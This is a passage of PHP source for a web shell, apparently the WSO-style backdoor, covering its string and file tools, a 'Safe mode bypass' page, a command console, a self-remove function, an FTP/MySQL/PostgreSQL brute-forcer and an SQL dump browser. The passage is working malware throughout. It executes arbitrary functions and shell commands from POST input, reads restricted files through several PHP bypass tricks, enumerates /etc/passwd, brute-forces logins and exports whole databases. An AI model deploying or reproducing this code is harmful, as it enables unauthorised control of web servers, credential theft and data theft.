  600. if(function_exists($_POST['p1']))
  601. echo $_POST['p1']($_POST['p2']);
  602. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  603. echo strlen($temp), "\n", $temp;
  604. exit;
  605. }
  606. echo '<h1>String conversions</h1><div class=content>';
  607. $stringTools = array(
  608. 'Base64 encode' => 'base64_encode',
  609. 'Base64 decode' => 'base64_decode',
  610. 'Url encode' => 'urlencode',
  611. 'Url decode' => 'urldecode',
  612. 'Full urlencode' => 'full_urlencode',
  613. 'md5 hash' => 'md5',
  614. 'sha1 hash' => 'sha1',
  615. 'crypt' => 'crypt',
  616. 'CRC32' => 'crc32',
  617. 'ASCII to HEX' => 'ascii2hex',
  618. 'HEX to ASCII' => 'hex2ascii',
  619. 'HEX to DEC' => 'hexdec',
  620. 'HEX to BIN' => 'hex2bin',
  621. 'DEC to HEX' => 'dechex',
  622. 'DEC to BIN' => 'decbin',
  623. 'BIN to HEX' => 'bin2hex',
  624. 'BIN to DEC' => 'bindec',
  625. 'String to lower case' => 'strtolower',
  626. 'String to upper case' => 'strtoupper',
  627. 'Htmlspecialchars' => 'htmlspecialchars',
  628. 'String length' => 'strlen',
  629. );
  630. echo "<form name='toolsForm' onSubmit='a(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  631. foreach($stringTools as $k => $v)
  632. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  633. echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea></textarea></form><pre class='ml1' style='display:none;margin-top:5px' id='strOutput'></pre></div>";
  634. ?>
  635. <br><h1>Search for hash:</h1><div class=content>
  636. <form method='post' target='_blank' name="hf">
  637. <input type="text" name="hash" style="width:200px;"><br>
  638. <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
  639. <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
  640. <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
  641. <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  642. <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  643. </form>
  644. </div>
  645. <?php
  646. }
  647. function actionFilesTools() {
  648. if( isset($_POST['p1']) )
  649. $_POST['p1'] = urldecode($_POST['p1']);
  650. if( @$_POST['p2']!='download' && @$_POST['p2'] != 'mkfile' ) {
  651. echo '<h1>File tools</h1><div class=content>';
  652. if( !file_exists(@$_POST['p1']) ) {
  653. echo 'File not exists';
  654. return;
  655. }
  656. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  657. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  658. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  659. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  660. if( empty($_POST['p2']) )
  661. $_POST['p2'] = 'view';
  662. if( is_file($_POST['p1']) )
  663. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  664. else
  665. $m = array('Chmod', 'Rename', 'Touch');
  666. foreach($m as $v)
  667. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  668. echo '<br><br>';
  669. }
  670. switch($_POST['p2']) {
  671. case 'view':
  672. echo '<pre class=ml1>';
  673. $fp = @fopen($_POST['p1'], 'r');
  674. if($fp) {
  675. while( !@feof($fp) )
  676. echo htmlspecialchars(@fread($fp, 1024));
  677. @fclose($fp);
  678. }
  679. echo '</pre>';
  680. break;
  681. case 'highlight':
  682. if( is_readable($_POST['p1']) ) {
  683. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  684. /*$source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", file_get_contents($_POST['p1'])));
  685. $formatted_code = "";
  686. foreach ($source_code as $code_line) {
  687. if (ereg('<\?(php)?[^[:graph:]]', $code_line))
  688. $formatted_code .= '<li>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</li>';
  689. else
  690. $formatted_code .= '<li>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</li>';
  691. }
  692. echo '<ol>'.str_replace(array('<span ','</span>'), array('<font ','</font>'),$formatted_code).'</ol></div>';
  693. */
  694. $code = highlight_file($_POST['p1'],true);
  695. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  696. }
  697. break;
  698. case 'download':
  699. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  700. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  701. if (function_exists("mime_content_type")) {
  702. $type = @mime_content_type($_POST['p1']);
  703. header("Content-Type: ".$type);
  704. }
  705. $fp = @fopen($_POST['p1'], "r");
  706. if($fp) {
  707. while(!@feof($fp))
  708. echo @fread($fp, 1024);
  709. fclose($fp);
  710. }
  711. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  712. }
  713. exit;
  714. break;
  715. case 'chmod':
  716. if( !empty($_POST['p3']) ) {
  717. $perms = 0;
  718. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  719. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  720. if(!@chmod($_POST['p1'], $perms))
  721. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  722. else
  723. die('<script>g(null,null,null,null,"")</script>');
  724. }
  725. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  726. break;
  727. case 'edit':
  728. if( !is_writable($_POST['p1'])) {
  729. echo 'File isn\'t writeable';
  730. break;
  731. }
  732. if( !empty($_POST['p3']) ) {
  733. @file_put_contents($_POST['p1'],$_POST['p3']);
  734. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  735. }
  736. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  737. $fp = @fopen($_POST['p1'], 'r');
  738. if($fp) {
  739. while( !@feof($fp) )
  740. echo htmlspecialchars(@fread($fp, 1024));
  741. @fclose($fp);
  742. }
  743. echo '</textarea><input type=submit value=">>"></form>';
  744. break;
  745. case 'hexdump':
  746. $c = @file_get_contents($_POST['p1']);
  747. $n = 0;
  748. $h = array('00000000<br>','','');
  749. $len = strlen($c);
  750. for ($i=0; $i<$len; ++$i) {
  751. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  752. switch ( ord($c[$i]) ) {
  753. case 0: $h[2] .= ' '; break;
  754. case 9: $h[2] .= ' '; break;
  755. case 10: $h[2] .= ' '; break;
  756. case 13: $h[2] .= ' '; break;
  757. default: $h[2] .= $c[$i]; break;
  758. }
  759. $n++;
  760. if ($n == 32) {
  761. $n = 0;
  762. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  763. $h[1] .= '<br>';
  764. $h[2] .= "\n";
  765. }
  766. }
  767. echo '<style>pre{font-family:Courier,Monospace;}</style><table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><pre style="color:#df5">'.$h[0].'</pre></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  768. break;
  769. case 'rename':
  770. if( !empty($_POST['p3']) ) {
  771. if(!@rename($_POST['p1'], $_POST['p3']))
  772. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  773. else
  774. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  775. }
  776. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  777. break;
  778. case 'touch':
  779. if( !empty($_POST['p3']) ) {
  780. $time = strtotime($_POST['p3']);
  781. if($time) {
  782. if(@touch($_POST['p1'],$time,$time))
  783. die('<script>g(null,null,null,null,"")</script>');
  784. else {
  785. echo 'Fail!<script>document.mf.p3.value="";</script>';
  786. }
  787. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  788. }
  789. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  790. break;
  791. case 'mkfile':
  792. if(!file_exists($_POST['p1'])) {
  793. $fp = @fopen($_POST['p1'], 'w');
  794. if($fp)
  795. die('<script>g(null,null,null,"edit")</script>');
  796. }
  797. echo 'Can\'t create!';
  798. break;
  799. }
  800. echo '</div>';
  801. }
  802. function actionSafeMode() {
  803. if( isset($_POST['ajax']) ) {
  804. ob_start();
  805. switch($_POST['p1']) {
  806. case 1:
  807. $temp=@tempnam($test, 'cx');
  808. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  809. echo @file_get_contents($temp);
  810. unlink($temp);
  811. } else
  812. echo 'Sorry... Can\'t open file';
  813. break;
  814. case 2:
  815. $files = glob($_POST['p2'].'*');
  816. if( is_array($files) )
  817. foreach ($files as $filename)
  818. echo $filename."\n";
  819. break;
  820. case 3:
  821. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  822. curl_exec($ch);
  823. break;
  824. case 4:
  825. ini_restore("safe_mode");
  826. ini_restore("open_basedir");
  827. include($_POST['p2']);
  828. break;
  829. case 5:
  830. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  831. $uid = posix_getpwuid($_POST['p2']);
  832. if ($uid)
  833. echo join(':',$uid)."\n";
  834. }
  835. break;
  836. case 6:
  837. if(!function_exists('imap_open'))break;
  838. $stream = imap_open($_POST['p2'], "", "");
  839. if ($stream == FALSE)
  840. break;
  841. echo imap_body($stream, 1);
  842. imap_close($stream);
  843. break;
  844. }
  845. $temp = "document.getElementById('Output').style.display='';document.getElementById('Output').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  846. echo strlen($temp), "\n", $temp;
  847. exit;
  848. }
  849. echo '<h1>Safe mode bypass</h1><div class=content>';
  850. echo '<span>Copy (read file)</span><form onsubmit=\'a(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'a(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'a(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'a(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'a(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'a(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><pre class="ml1" style="display:none;margin-top:5px" id="Output"></pre>';
  851. echo '</div>';
  852. }
  853. function actionConsole() {
  854. if(isset($_POST['ajax'])) {
  855. ob_start();
  856. echo "document.cf.cmd.value='';\n";
  857. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  858. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  859. if(@chdir($match[1])) {
  860. $GLOBALS['cwd'] = @getcwd();
  861. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  862. }
  863. }
  864. echo "document.cf.output.value+='".$temp."';";
  865. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  866. $temp = ob_get_clean();
  867. echo strlen($temp), "\n", $temp;
  868. exit;
  869. }
  870. ?>
  871. <script>
  872. if(window.Event) window.captureEvents(Event.KEYDOWN);
  873. var cmds = new Array("");
  874. var cur = 0;
  875. function kp(e) {
  876. var n = (window.Event) ? e.which : e.keyCode;
  877. if(n == 38) {
  878. cur--;
  879. if(cur>=0)
  880. document.cf.cmd.value = cmds[cur];
  881. else
  882. cur++;
  883. } else if(n == 40) {
  884. cur++;
  885. if(cur < cmds.length)
  886. document.cf.cmd.value = cmds[cur];
  887. else
  888. cur--;
  889. }
  890. }
  891. function add(cmd) {
  892. cmds.pop();
  893. cmds.push(cmd);
  894. cmds.push("");
  895. cur = cmds.length-1;
  896. }
  897. </script>
  898. <?php
  899. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);a(null,null,this.cmd.value);return false;"><select name=alias>';
  900. foreach($GLOBALS['aliases'] as $n => $v) {
  901. if($v == '') {
  902. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  903. continue;
  904. }
  905. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  906. }
  907. echo '</select><input type=button onclick="add(document.cf.alias.value);a(null,null,document.cf.alias.value);" value=">>"><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  908. if(!empty($_POST['p1']))
  909. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  910. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  911. echo '</form></div><script>document.cf.cmd.focus();</script>';
  912. }
  913. function actionLogout() {
  914. unset($_SESSION['sh_logined']);
  915. die('<script>location.reload();</script>');
  916. }
  917. function actionSelfRemove() {
  918. if($_POST['p1'] == 'yes') {
  919. if(@unlink(SELF_PATH))
  920. die('Shell has been removed');
  921. else
  922. echo 'unlink error!';
  923. }
  924. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  925. }
  926. function actionBruteforce() {
  927. if( isset($_POST['proto']) ) {
  928. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  929. if( $_POST['proto'] == 'ftp' ) {
  930. function bruteForce($ip,$port,$login,$pass) {
  931. $fp = @ftp_connect($ip, $port?$port:21);
  932. if(!$fp) return false;
  933. $res = @ftp_login($fp, $login, $pass);
  934. @ftp_close($fp);
  935. return $res;
  936. }
  937. } elseif( $_POST['proto'] == 'mysql' ) {
  938. function bruteForce($ip,$port,$login,$pass) {
  939. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  940. @mysql_close($res);
  941. return $res;
  942. }
  943. } elseif( $_POST['proto'] == 'pgsql' ) {
  944. function bruteForce($ip,$port,$login,$pass) {
  945. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  946. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  947. @pg_close($res);
  948. return $res;
  949. }
  950. }
  951. $success = 0;
  952. $attempts = 0;
  953. $server = explode(":", $_POST['server']);
  954. if($_POST['type'] == 1) {
  955. $temp = @file('/etc/passwd');
  956. if( is_array($temp) )
  957. foreach($temp as $line) {
  958. $line = explode(":", $line);
  959. ++$attempts;
  960. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  961. $success++;
  962. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  963. }
  964. if(@$_POST['reverse']) {
  965. $tmp = "";
  966. for($i=strlen($line[0])-1; $i>=0; --$i)
  967. $tmp .= $line[0][$i];
  968. ++$attempts;
  969. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  970. $success++;
  971. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  972. }
  973. }
  974. }
  975. } elseif($_POST['type'] == 2) {
  976. $temp = @file($_POST['dict']);
  977. if( is_array($temp) )
  978. foreach($temp as $line) {
  979. $line = trim($line);
  980. ++$attempts;
  981. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  982. $success++;
  983. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  984. }
  985. }
  986. }
  987. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  988. }
  989. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  990. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  991. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  992. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  993. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  994. .'<span>Server:port</span></td>'
  995. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  996. .'<tr><td><span>Brute type</span></td>'
  997. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  998. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  999. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1000. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1001. .'<td><input type=text name=login value="root"></td></tr>'
  1002. .'<tr><td><span>Dictionary</span></td>'
  1003. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1004. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1005. echo '</div><br>';
  1006. }
  1007. function actionSql() {
  1008. class DbClass {
  1009. var $type;
  1010. var $link;
  1011. var $res;
  1012. function DbClass($type) {
  1013. $this->type = $type;
  1014. }
  1015. function connect($host, $user, $pass){
  1016. switch($this->type) {
  1017. case 'mysql':
  1018. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1019. break;
  1020. }
  1021. return false;
  1022. }
  1023. function selectdb($db) {
  1024. switch($this->type) {
  1025. case 'mysql':
  1026. if (@mysql_select_db($db))return true;
  1027. break;
  1028. }
  1029. return false;
  1030. }
  1031. function query($str) {
  1032. switch($this->type) {
  1033. case 'mysql':
  1034. return $this->res = @mysql_query($str);
  1035. break;
  1036. }
  1037. return false;
  1038. }
  1039. function fetch() {
  1040. $res = func_num_args()?func_get_arg(0):$this->res;
  1041. switch($this->type) {
  1042. case 'mysql':
  1043. return @mysql_fetch_assoc($res);
  1044. break;
  1045. }
  1046. return false;
  1047. }
  1048. function listDbs() {
  1049. switch($this->type) {
  1050. case 'mysql':
  1051. return $this->res = @mysql_list_dbs($this->link);
  1052. break;
  1053. }
  1054. return false;
  1055. }
  1056. function setCharset($str) {
  1057. switch($this->type) {
  1058. case 'mysql':
  1059. if(function_exists('mysql_set_charset'))
  1060. return @mysql_set_charset($str, $this->link);
  1061. else
  1062. $this->query('SET CHARSET '.$str);
  1063. break;
  1064. }
  1065. return false;
  1066. }
  1067. function dump($table) {
  1068. switch($this->type) {
  1069. case 'mysql':
  1070. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1071. $create = mysql_fetch_array($res);
  1072. echo $create[1].";\n\n";
  1073. $this->query('SELECT * FROM `'.$table.'`');
  1074. while($item = $this->fetch()) {
  1075. $columns = array();
  1076. foreach($item as $k=>$v) {
  1077. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1078. $columns[] = "`".$k."`";
  1079. }
  1080. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1081. }
  1082. break;
  1083. }
  1084. return false;
  1085. }
  1086. };
  1087. $db = new DbClass('mysql');
  1088. if(@$_POST['p2']=='download') {
  1089. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass']);
  1090. $db->selectdb($_POST['sql_base']);
  1091. header("Content-Disposition: attachment; filename=dump.sql");
  1092. header("Content-Type: text/plain");
  1093. foreach($_POST['tbl'] as $v)
  1094. //if(preg_match('!table_(.*)!', $k, $table))
  1095. $db->dump($v);
  1096. exit;
  1097. }
  1098. ?>
  1099. <h1>Sql browser</h1><div class=content>
  1100. <form name="sf" method="post">
  1101. <table cellpadding="2" cellspacing="0">
  1102. <tr>
  1103. <td>Host</td>
  1104. <td>Login</td>
  1105. <td>Password</td>
  1106. <td>Database</td>
  1107. <td></td>
  1108. </tr>
  1109. <tr>
  1110. <input type=hidden name=a value=Sql>
  1111. <input type=hidden name=p1 value='query'>
  1112. <input type=hidden name=p2>
  1113. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
  1114. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  1115. <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
  1116. <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
  1117. <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
  1118. <td>
  1119. <?php
  1120. $tmp = "<input type=text name=sql_base value=''>";
  1121. if(isset($_POST['sql_host'])){
  1122. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'])) {
  1123. switch($_POST['charset']) {
  1124. case "Windows-1251": $db->setCharset('cp1251'); break;
  1125. case "UTF-8": $db->setCharset('utf8'); break;
  1126. case "KOI8-R": $db->setCharset('koi8r'); break;
  1127. case "KOI8-U": $db->setCharset('koi8u'); break;
  1128. }
  1129. $db->listDbs();
  1130. echo "<select name=sql_base><option value=''></option>";
  1131. while($item = $db->fetch()) {
  1132. list($key, $value) = each($item);
  1133. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1134. }
  1135. }
  1136. else echo $tmp;
  1137. }else
  1138. echo $tmp;
  1139. ?></td>
  1140. <td><input type=submit value=">>"></td>
  1141. </tr>
  1142. </table>
  1143. <script>
  1144. function st(t) {
  1145. document.sf.p1.value = 'select';
  1146. document.sf.p2.value = '';
  1147. document.sf.p3.value = t;
  1148. document.sf.submit();
  1149. }
  1150. </script>
  1151. <?php
  1152. if(isset($db) && $db->link){
  1153. echo "<table width=100% cellpadding=2 cellspacing=0>";
  1154. if(!empty($_POST['sql_base'])){
  1155. $db->selectdb($_POST['sql_base']);
  1156. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1157. $db->query("show tables");
  1158. while($item = $db->fetch()) {
  1159. list($key, $value) = each($item);
  1160. echo "<nobr><input type='checkbox' name='tbl[]' value='".htmlspecialchars($value)."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a></nobr><br>";
  1161. }
  1162. echo "<input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1163. if(@$_POST['p1'] == 'select') {
  1164. $_POST['p1'] = 'query';
  1165. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p3'].'` LIMIT 0,30';
  1166. }
  1167. echo "<textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1168. if(@$_POST['p1'] == 'query') {
  1169. $db->query(@$_POST['p3']);
  1170. if($db->res !== false) {
  1171. $title = false;
  1172. echo '<table width=100% cellspacing=0 cellpadding=2 class=main style="margin-top:5px">';
  1173. $line = 1;
  1174. while($item = $db->fetch()) {
  1175. if(!$title) {
  1176. echo '<tr>';
  1177. foreach($item as $key => $value)
  1178. echo '<th>'.$key.'</th>';
  1179. reset($item);
  1180. $title=true;
  1181. echo '</tr><tr>';
  1182. $line = 2;
  1183. }
  1184. echo '<tr class="l'.$line.'">';
  1185. $line = $line==1?2:1;
  1186. foreach($item as $key => $value) {
  1187. if($value == null)
  1188. echo '<td><i>null</i></td>';
  1189. else
  1190. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1191. }
  1192. echo '</tr>';
  1193. }
  1194. echo '</table>';
  1195. }
  1196. }
  1197. echo "</td></tr>";
  1198. }
  1199. echo "</table></form><…

Large files files are truncated, but you can click here to view the full file